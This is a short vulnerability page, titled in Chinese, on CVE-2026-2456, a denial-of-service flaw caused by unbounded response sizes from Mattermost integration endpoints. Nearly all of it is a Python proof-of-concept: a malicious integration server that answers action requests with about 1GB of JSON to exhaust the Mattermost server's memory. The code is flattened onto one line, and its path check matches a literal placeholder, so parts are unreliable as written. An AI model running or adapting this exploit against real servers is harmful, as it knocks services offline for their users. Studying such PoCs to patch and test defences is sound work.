CVE-2026-2456 Mattermost集成端点响应大小无限导致拒绝服务漏洞

import http.server import socketserver import json # PoC: Malicious Mattermost Integration Server for CVE-2026-2456 # This server simulates a malicious integration that returns an excessively large response class MaliciousIntegrationHandler(http.server.BaseHTTPRequestHandler): def do_POST(self): # Check if this is a request to the integration action endpoint if '/api/v4/actions/{integration_action_id}' in self.path: # Log the incoming request print(f"Received request from: {self.client_address}") # Send HTTP 200 OK header self.send_response(200) self.send_header('Content-Type', 'application/json') self.end_headers() # Generate extremely large response to exhaust server memory # This simulates the malicious behavior described in CVE-2026-2456 large_payload = 'X' * (1024 * 1024 * 1024) # 1GB of data response = json.dumps({ 'data': large_payload, 'message': 'Malicious integration response' }) # Send the large response self.wfile.write(response.encode('utf-8')) print("Sent large payload to exhaust Mattermost server memory") else: self.send_response(404) self.end_headers() def log_message(self, format, *args): # Suppress default logging pass class MaliciousServer(socketserver.TCPServer): allow_reuse_address = True if __name__ == '__main__': PORT = 8080 with MaliciousServer(("", PORT), MaliciousIntegrationHandler) as httpd: print(f"Malicious integration server running on port {PORT}") print("Waiting for Mattermost to request integration actions...") httpd.serve_forever()